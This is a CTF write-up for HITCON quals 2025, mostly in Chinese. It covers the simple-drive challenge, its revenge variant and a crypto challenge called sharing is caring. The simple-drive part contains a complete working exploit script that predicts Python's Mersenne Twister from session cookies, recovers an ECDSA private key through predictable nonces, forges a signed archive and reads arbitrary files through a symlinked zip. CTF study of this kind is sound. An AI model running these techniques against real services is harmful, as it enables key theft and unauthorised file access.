# HITCON CTF quals 2025 writeup
I participated in this CTF with team B33P 50UP, primarily solving crypto problems.
## simple-drive
這是一個雲端的檔案系統,有一個根目錄,正常的路徑訪問會限定在這個目錄底下。但我們可以上傳一個裝軟連結的 zip,解壓縮去做到任意路徑的讀檔。而上傳 zip 需要對 zip 檔案做簽名。
```python!
class Cookie:
def __init__(self, user):
self.user = user
self.exp = time.time() + 60
self.id = Cookie.gen()
def gen():
print("randbytes")
return base64.b64encode(random.randbytes(32)).decode().rstrip('=')
```
會發現,使用者的 cookie 都是用 `random.randbytes` 生出來的,追進去看函式的實現會發現它等價於 `random.getrandbits(32 * 8)`,於是可以創建夠多的 cookie 就能預測接下來所有基於 `random.getrandbits` 的隨機數。
```python
def sign(self, m):
e = self.hash(m)
z = e & ((1 << self.c.l) - 1)
while True:
k = random.randint(1, self.c.n - 1)
print(k)
p = k * self.c.g
r = p.x % self.c.n
if r == 0:
continue
s = pow(k, -1, self.c.n) * (z + r * self.key) % self.c.n
if s != 0:
break
return (r, s)
```
再觀察 ecdsa,會發現 k 是用 `random.randint` 生出來的,可以預測,這代表我們只要獲得明文和 `m` 的 hash,就能洩漏出私鑰。
```python
def verify_signature(archive, salt):
data, sig = archive[:-Archive.FOOTER.size], archive[-Archive.FOOTER.size:]
sig = Archive.FOOTER.unpack(sig)
sig = (int.from_bytes(sig[0]), int.from_bytes(sig[1]))
return signer.verify(salt + data, sig)
```
另一個問題是 hash 的時候會加一個 salt,這個 salt 是用較安全的隨機數來生的,但很幸運的發現當我們先用 `/backup` 去打包後,可以用 `/hash` 去取得 hash。這樣,我們就能獲得私鑰。
接下來麻煩的點是,當我們創建一個 zip archive 之後,也需要加這個 salt 再 hash 去簽名,雖然有一個 `fetch_salt` 函式可以去拿 salt,但它不可能通過。可以發現 `/hash` 是不會檢查簽名與內容的,只會檢查 zip archive 的 header,於是可以將 zip data 替換掉,把 header 中的 crc 改成新的 crc,就可以獲得新的 zip data 加過 salt 的 hash。
最後就是用以下命令創建 zip 檔案,然後上傳、解壓、讀檔,就成功了:
```shell
$ ln -s /flag evil
$ zip --symlinks evil.zip evil
```
最後是 exploit:
```python!
import requests
import random
from Crypto.Util.number import *
from base64 import *
import struct
# https://github.com/maple3142/gf2bv
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
import hashlib
from src import ec
import binascii
url = "http://simple-drive.chal.hitconctf.com:54082"
def register(username: str, password: str):
data = {"username": username, "password": password}
return requests.post(f"{url}/register", data=data)
def login(username: str, password: str):
data = {"username": username, "password": password}
return requests.post(f"{url}/login", data=data)
def logout(cookie: str):
return requests.post(f"{url}/logout", cookies={"hitconctf": cookie})
def b64toint(x: bytes):
while len(x) % 4:
x += b"="
return int.from_bytes(b64decode(x), "little")
# req = requests.g
# req = requests.get("http://127.0.0.1:5487/register")
cookies = []
# ================
register("aaa", "bbb")
for i in range(78):
req = login("aaa", "bbb")
cookie = req.cookies["hitconctf"]
cookies.append(b64toint(cookie.encode()))
req = logout(cookie)
lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)
zeros = []
for i in cookies:
zeros.append(rng.getrandbits(32 * 8) ^ i)
sol = lin.solve_one(zeros)
rng = MT19937(sol).to_python_random()
for i in cookies:
rng.getrandbits(32 * 8)
req = login("aaa", "bbb")
cookie = req.cookies["hitconctf"]
print(b64toint(cookie.encode()) == rng.getrandbits(32 * 8))
# =========
def get_hash(cookie: str, archive: bytes):
return requests.get(f"{url}/hash", cookies={"hitconctf": cookie}, data=archive)
def backup(cookie: str):
return requests.get(f"{url}/backup", cookies={"hitconctf": cookie})
def mkdir(cookie: str, path: str):
return requests.post(f"{url}/mkdir?path={path}", cookies={"hitconctf": cookie})
signer = ec.secp256k1()
n, l, g = signer.n, signer.l, signer.g
HEADER = struct.Struct('<I16sd16sI')
FOOTER = struct.Struct('<32s32s')
# print(backup(cookie))
print(mkdir(cookie, "yee"))
data = backup(cookie).content
e = int(get_hash(cookie, data).content.decode())
z = e & ((1 << l) - 1)
sig0, sig1 = FOOTER.unpack(data[-64:])
r = bytes_to_long(sig0)
s = bytes_to_long(sig1)
k = rng.randint(1, n - 1)
sk = (s * k - z) * pow(r, -1, n) % n
print(sk)
def sign(e):
z = e & ((1 << l) - 1)
while True:
k = rng.randint(1, n - 1)
print(k)
p = k * g
r = p.x % n
if r == 0:
continue
s = pow(k, -1, n) * (z + r * sk) % n
if s != 0:
break
return (r, s)
# get hash
org_archive = data
header, zipdata = org_archive[:HEADER.size], org_archive[HEADER.size:-FOOTER.size]
signature, aid, ts, uid, crc = HEADER.unpack(header)
with open("evil.zip", "rb") as f:
new_zipdata = f.read()
new_crc = binascii.crc32(new_zipdata)
new_archive = HEADER.pack(signature, aid, ts, uid, new_crc) + new_zipdata + data[-FOOTER.size:]
# sign
e = int(get_hash(cookie, new_archive).content.decode())
sig = sign(e)
new_archive = new_archive[:-FOOTER.size] + FOOTER.pack(sig[0].to_bytes(32), sig[1].to_bytes(32))
print(new_archive)
# zip --symlinks evil.zip evil
# upload
req = requests.post(f"{url}/restore", cookies={"hitconctf": cookie}, data=new_archive)
print(req)
req = requests.get(f"{url}/read?path=evil", cookies={"hitconctf": cookie})
print(req.content)
# hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}
```
flag:`hitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}`
## simple-drive-revenge
很幸運的,使用和上一題一樣的 exploit 就成功了。
flag:`hitcon{1m_B4cK!wH475_4_po0R_4r1vIA1_bUG5_unF0RtUn4731y}`
## sharing is caring
用 pylingual 反編譯,再稍微解混淆一下就能生出可以讀懂的東西。
裡面有個拉格朗日差值,不過它更偏向是一個 hash 函式,拿來生出一些常數。
```python
if __name__ == '__main__':
input1 = int.from_bytes(input('1:').strip().encode())
input2 = int.from_bytes(input('2:').strip().encode())
input3 = int.from_bytes(input('3:').strip().encode())
if flag_checker(([lagrange(22), input1, lagrange(23)], [lagrange(24), input2, lagrange(25)], [lagrange(26), input3, lagrange(27)])):
print('Success!')
else: # inserted
print('Fail')
```
我們要做的事情是送 3 個數字通過這個 `flag_checker`。
在理面有另外 3 組數字(3 個 3 個一組),要這總共 6 組數字都通過以下函式才會正確:
```python
arr = [f4, f5, f6]
def check(a, b, c):
lhs = pow(f2, b, p) * pow(f3, c, p) % p
rhs = 1
tmp = 1
for i in arr:
rhs = rhs * pow(i, tmp, p) % p
tmp = tmp * a % q
return lhs == rhs
```
數學表達的話是以下:
$$f_2^b\times f_3^c=f_4\times f_5^{a}\times f_6^{a^2}$$
它給的 3 組數字很顯然的一定會滿足,另外三組數字只給我 $a$ 和 $c$,要算出一個 $b$,這等於是要解一個離散對數問題,而 $p-1$ 不是平滑的,所以這個問題是困難的。
做一個小觀察,對於每個 $a$、$c$ 數組,可以用 $(1, a, a^2, -c)$ 組成一個向量,如果某個數組對應到的向量可以用一些已知 b 的向量線性組合出來,那麼可以用相同的係數把 b 也組合出來。於是去嘗試一下目標向量是否會在已知的 3 個向量張出的空間中:
```python!
for i, j, k in matrix_vals:
basis.append(vector(GF(q), [1, i, i*i, -k]))
M = matrix(GF(q), basis)
S = VectorSpace(GF(q), 4).span(basis)
x, z = lagrange_interpolate(24), lagrange_interpolate(25)
v = vector(GF(q), [1, x, x*x, -z])
print(v in S) # true
```
會發現他們確實都在這個向量空間中,於是就可以寫 exploit:
```python!
from Crypto.Util.number import *
coeffs = [4144803293417776131310451317495228706499130241044716671850484110288180082374299088166459295448719, (-2072401646708888065655225658747614353249565120522358335925242055144090041187149544083229647724360), 1402769202505631727601810730581776197716350949074282314174097681867464170562021714349605843278665, (-266910464101355921528772386602523543917783644737516474351090027562514187410064675818699897958587), (-313229353281522365344068664569836505240104176843824464617477560855244400498647725320806722489359), 557751498740761784158621178035559059268846555052211907264408739687389120087425335352771649978396, (-148220410045571281675213691246814858326140849250454299621527572224931143542450173517412542679173), 564587776942621790900159644909288844361323691524579619089869964015177357514421646000222366841011, 16419311167856483659743166580345122059429852687371972090030542491766200835221304811819328984127643, (-129495574458812869075479900411721351204283016397163153311462604211940551198569895507569182199080813), 47898868564720804115714682250274391102579185635034480293836524415742949562361820585750668129254529, (-218390354027018310133763040209628187632374060689193498603396047814125983080443006327100714094044413), 59103242197276592018409321873953124131699316618422104513410197920897935735761382943069825870316159, (-27263762963672679216265023144097755508375724831456195913391130341016602743379285802111387508470863), 1160187342824936887648971210216937643772466507360201042905423657153536580858662152125535660765491989, (-444320422098364618829295716221878629448833826150298094515910374813093990742157048727647821855149363), 3391657179499987245173012089157446876066874678381207432018307585249041358997171094264590277038007977, (-24577331115755648042095942172693201165277671886951704215934044389070300940570840382524224198279961), 1269071325010846032881520707673575200237482393580774435940684724230748033745143799781707960856809939, (-7726874421105907152194917563460067676020997409790741668467611810647472035036892326157134516638801157), 52668298578428194831854365844392870064649623064538094318250290519368281728564224127244694555479507759, (-14912585782593436965791721815706880430658073768879853640660934490173887905327298345044778117728763977), 20665009833075583446533567863500153284398139825571833690969943149563885799810347822665143905426735039, (-4881669849418826679690882149267389579292004979139066657955496750719085286782861933735958022689574551), 19727966805580144784665343549651570513281612075070319397079427974816184475541029955406232208165236847, (-412912430703112866772671727077127791058157331577997254034268890188791073228873359777862031674718585977), 133658941250435616035761147529730684421152093449583968335054480106579383066071224012305258698560296819, (-458807313057700431931426630680383859744706640412367673276163407570064822322611955042530141076353045301)]
a = [1,1,2,2,12,15,10,240,40320,362880,403200,7983360,11975040,37065600,0x2E6519800,0xA261D9400,0x32BE93E4000,0x466BBD9000,0xC218F5AE8000,0x4807432BC18000,0x21C3677C82B40000,0xB141DF4DAE310000,0xF3BA930ACF8360000,0x280A89874301780000,0x5B65F7240DD14400000,0x446E0208A903029400000,0xDE65869C2549C86100000,0x211D3C0B03AB74E50800000]
def lagrange_interpolate(x):
if x in (17, 18):
return 18 - x
from fractions import Fraction as F
n = len(coeffs)
result = F(0, 1)
term = F(1, 1)
for i in range(n):
result += F(coeffs[i], a[i]) * term
term *= F(x - i, 1)
return int(result)
p = lagrange_interpolate(0)
q = lagrange_interpolate(1)
x, z = 22, 23
arr = [lagrange_interpolate(4), lagrange_interpolate(5), lagrange_interpolate(6)]
matrix_vals = [(lagrange_interpolate(7), lagrange_interpolate(8), lagrange_interpolate(9)),
(lagrange_interpolate(10), lagrange_interpolate(11), lagrange_interpolate(12)),
(lagrange_interpolate(13), lagrange_interpolate(14), lagrange_interpolate(15))]
f2 = lagrange_interpolate(2)
f3 = lagrange_interpolate(3)
def check(a, b, c):
lhs = pow(f2, b, p) * pow(f3, c, p) % p
# lhs = mul(_pow(f2, b, p), _pow(f3, c, p)) % p
rhs = 1
tmp = 1
for i in arr:
rhs = rhs * pow(i, tmp, p) % p
tmp = tmp * a % q
return lhs == rhs
from sage.all import *
basis = []
for i, j, k in matrix_vals:
basis.append(vector(GF(q), [1, i, i*i, -k]))
M = matrix(GF(q), basis)
from Crypto.Util.number import *
sols = []
x, z = lagrange_interpolate(22), lagrange_interpolate(23)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))
x, z = lagrange_interpolate(24), lagrange_interpolate(25)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))
x, z = lagrange_interpolate(26), lagrange_interpolate(27)
v = vector(GF(q), [1, x, x*x, -z])
sol = M.solve_left(v)
y = int(sol[0] * matrix_vals[0][1] + sol[1] * matrix_vals[1][1] + sol[2] * matrix_vals[2][1])
sols.append(long_to_bytes(y))
print(b"".join(sols))
```
flag:`hitcon{Like_I_said_....._sharing_is_caring_and_caring_is_finding_the_right_share_4f63bf95789178799874ddf1c1bd6ad6b6297b}`